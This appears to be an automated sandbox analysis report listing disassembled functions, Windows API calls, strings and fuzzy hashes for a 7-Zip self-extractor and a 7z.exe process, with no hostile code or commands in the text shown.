??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668

Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
wsprintfW.USER32 ref: 00404919
GetFileAttributesW.KERNEL32(?), ref: 00404934

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98

Function 0041271D Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,0041C670), ref: 00412748
??2@YAPAXI@Z.MSVCRT(00000004,00000000,0041E3DC,?,?,00412815,00000000,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 00412770
memcpy.MSVCRT(00000000,00000000,00000004,00000000,0041E3DC,?,?,00412815,00000000,0041640F,0041E3DC,004035F5,00000000,?,00405789,?), ref: 00412799
??3@YAXPAX@Z.MSVCRT(00000000,00000000,0041E3DC,?,?,00412815,00000000,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 004127A4

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: bc4bb84ff43691fde1c3e3b822c17665bb73cff9c6de9501f1a69948c491aa6e
Instruction ID: 510514d82056c6b4fcd5a552fda661d2aed45214d42cdecf77f9d3eca8f48bd7
Opcode Fuzzy Hash: bc4bb84ff43691fde1c3e3b822c17665bb73cff9c6de9501f1a69948c491aa6e
Instruction Fuzzy Hash: 0F110876200300ABCB289F16DAC0C9BF7EAAB84350720883FF569D7680C7B9ECD54758

Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
GetDlgItem.USER32(?,000004B7), ref: 00409222
SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59

Function 004077FE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00407825
GetSystemMetrics.USER32(00000031), ref: 0040784B
CreateFontIndirectW.GDI32(?), ref: 0040785A
DeleteObject.GDI32(00000000), ref: 00407889

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction ID: b25c457bbae17dd5d72c6f892d860256fe40de5a44a36179f6bad400e189aa1a
Opcode Fuzzy Hash: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction Fuzzy Hash: E4116376A00205AFDB149F54DC88BEAB7B8EB04304F0480AAED05A7391DB74AE40CB55

Function 00408D01 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00408D3B
GetClientRect.USER32(?,?), ref: 00408D4D
PtInRect.USER32(?,?,?), ref: 00408D5C

Part of subcall function 00408763: KillTimer.USER32(?,00000001,?,00408D71), ref: 00408771

CallNextHookEx.USER32(?,?,?), ref: 00408D7E

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction ID: 5f24f27530ec3351cfe61c109b9f8109a002e7470ac3ae9da68eaa6329551e7b
Opcode Fuzzy Hash: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction Fuzzy Hash: 23016D35101109EFDF109F55ED48EEA7BA6FF14384B18C53EF845A26A0EB35E850DB19

Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?,?,?,0041A834,0041A83C), ref: 0040445E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041A834,0041A83C), ref: 00404466
SetWindowTextW.USER32(?,?), ref: 00404473
??3@YAXPAX@Z.MSVCRT(?), ref: 0040447E

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94

Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00408094
CreateFontIndirectW.GDI32(?), ref: 004080AA
GetDlgItem.USER32(?,000004B5), ref: 004080BE
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29

Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC

Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
Part of subcall function 0040B7A0: memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
Part of subcall function 0040B7A0: memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D

Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B937

Strings

$A, xrefs: 0040B99D
$A, xrefs: 0040B9B5

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
String ID: $A$$A
API String ID: 2633840989-464203494
Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE

Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00402088
GetWindowRect.USER32(?,?), ref: 004020A1
ScreenToClient.USER32(00000000,?), ref: 004020AF
ScreenToClient.USER32(00000000,?), ref: 004020B6

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72

Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A

wsprintfW.USER32 ref: 00405364
??3@YAXPAX@Z.MSVCRT(?,00000011,?,00000000,0041B828,?), ref: 004053A1

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 0040535E

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X
API String ID: 1174869416-1993364030
Opcode ID: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
Opcode Fuzzy Hash: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88

Function 00408645 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040867A
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004086A2

Strings

(%d%s), xrefs: 00408674

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@wsprintf
String ID: (%d%s)
API String ID: 3815514257-2087557067
Opcode ID: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction ID: b8a3091fb0a8786d5856ec0415992ba747c3c410e3350e73f686e4d9c7ab3f81
Opcode Fuzzy Hash: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction Fuzzy Hash: E3F06271900218ABCB21B756DD06ECA777CAF00304F1041BBA552B15E2DA75AA54CB98

Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004033F1
GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

Strings

j4@, xrefs: 0040340A

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: TextWindow$Length
String ID: j4@
API String ID: 1006428111-2012685699
Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95

Function 0040474E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 0040475C

Strings

7-Zip SFX, xrefs: 00404750
Could not allocate memory, xrefs: 00404755

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction ID: eff6b3f0ce1e45bdfd51bc9acb40b22f926f37b9a8d4657fa527a9dafaf84f3f
Opcode Fuzzy Hash: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction Fuzzy Hash: 5AB012703C130022E21113200C07FC416408B08F13F10C552B108A80D3CBD900D0205D

Analysis Process: 7z.exePID: 5560, Parent PID: 6648COMMON

Executed Functions

Function 00358817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00358826
GetStdHandle.KERNEL32 ref: 0035887D
GetConsoleScreenBufferInfo.KERNELBASE ref: 0035888E
_CxxThrowException.MSVCRT ref: 003589BD

Strings

Formats:, xrefs: 00358CC7
KSNFMGOPBELH, xrefs: 00358CDC, 00358D4A
, xrefs: 00358FD6
offset=, xrefs: 00358ECF
Codecs:, xrefs: 0035903E
Libs:, xrefs: 00358C5B
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 0035881F
|| , xrefs: 00358F0B
7-Zip cannot find the code that works with archives., xrefs: 00358A54
Can't load module: , xrefs: 00358A04
Unsupported archive type, xrefs: 00358AAD, 00358BB8
Hashers:, xrefs: 003592B6

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
API String ID: 3442115484-272389550
Opcode ID: 333ffd121fdcf203ab2e1200e73cc7bcd87e924206da6f59f5088d2f4f234a71
Instruction ID: 4136ddd66a581999823f491612244ff04d964db046dec0059302a74631eb8233
Opcode Fuzzy Hash: 333ffd121fdcf203ab2e1200e73cc7bcd87e924206da6f59f5088d2f4f234a71
Instruction Fuzzy Hash: D872C276204A81C6DB36EF25E8907AE7365F789B82F408126DE8A47778DF3CC559CB40

Function 003324C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003326E4
free.MSVCRT ref: 003326EF
free.MSVCRT ref: 0033274F
free.MSVCRT ref: 0033275A
free.MSVCRT ref: 003327FF
free.MSVCRT ref: 00332807
free.MSVCRT ref: 00332818
free.MSVCRT ref: 00332826
free.MSVCRT ref: 00332831
free.MSVCRT ref: 00332869
free.MSVCRT ref: 00332871
free.MSVCRT ref: 00332882
free.MSVCRT ref: 00332951
free.MSVCRT ref: 0033295C
free.MSVCRT ref: 00332A36
free.MSVCRT ref: 00332A3E
free.MSVCRT ref: 00332A52
free.MSVCRT ref: 00332A6C
free.MSVCRT ref: 00332A77
free.MSVCRT ref: 00332B8F
free.MSVCRT ref: 00332B97
free.MSVCRT ref: 00332BA8
free.MSVCRT ref: 00332BB6
free.MSVCRT ref: 00332BC1
free.MSVCRT ref: 00332C12
free.MSVCRT ref: 00332C1D
free.MSVCRT ref: 00332C30
free.MSVCRT ref: 00332C3B
free.MSVCRT ref: 00332C4E
free.MSVCRT ref: 00332C59
free.MSVCRT ref: 00332C6C
free.MSVCRT ref: 00332C77
free.MSVCRT ref: 00332CA7
free.MSVCRT ref: 00332CAF
free.MSVCRT ref: 00332CBB
free.MSVCRT ref: 00332CC9
free.MSVCRT ref: 00332CD4
free.MSVCRT ref: 00332D10
free.MSVCRT ref: 00332D18
free.MSVCRT ref: 00332D29
free.MSVCRT ref: 00332D37
free.MSVCRT ref: 00332D42
free.MSVCRT ref: 00332E6E
free.MSVCRT ref: 00332E79
free.MSVCRT ref: 00332EA6
free.MSVCRT ref: 00332EB1
free.MSVCRT ref: 00332F03
free.MSVCRT ref: 00332F0E
free.MSVCRT ref: 00332F97
free.MSVCRT ref: 00332F9F
free.MSVCRT ref: 00332FAD
free.MSVCRT ref: 00332FC2
free.MSVCRT ref: 00332FCD
free.MSVCRT ref: 0033300C
free.MSVCRT ref: 00333017
free.MSVCRT ref: 00333027
free.MSVCRT ref: 00333032
free.MSVCRT ref: 00333042
free.MSVCRT ref: 0033304D
free.MSVCRT ref: 0033305E
free.MSVCRT ref: 003331EB
free.MSVCRT ref: 003331F6
free.MSVCRT ref: 0033321C
free.MSVCRT ref: 00333227

Part of subcall function 00312130: malloc.MSVCRT ref: 00312134
Part of subcall function 00312130: _CxxThrowException.MSVCRT ref: 0031214F

free.MSVCRT ref: 0033325A
free.MSVCRT ref: 00333262

Part of subcall function 00313314: memmove.MSVCRT ref: 00313339

free.MSVCRT ref: 00333270
free.MSVCRT ref: 0033329E
free.MSVCRT ref: 003332A6
free.MSVCRT ref: 003332D9
free.MSVCRT ref: 003332E1
free.MSVCRT ref: 003332F1
free.MSVCRT ref: 003333E5
free.MSVCRT ref: 00333445
free.MSVCRT ref: 00333455
free.MSVCRT ref: 00333464
free.MSVCRT ref: 00333472
free.MSVCRT ref: 00333490
free.MSVCRT ref: 0033349E
free.MSVCRT ref: 003334BC
free.MSVCRT ref: 003334CA

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

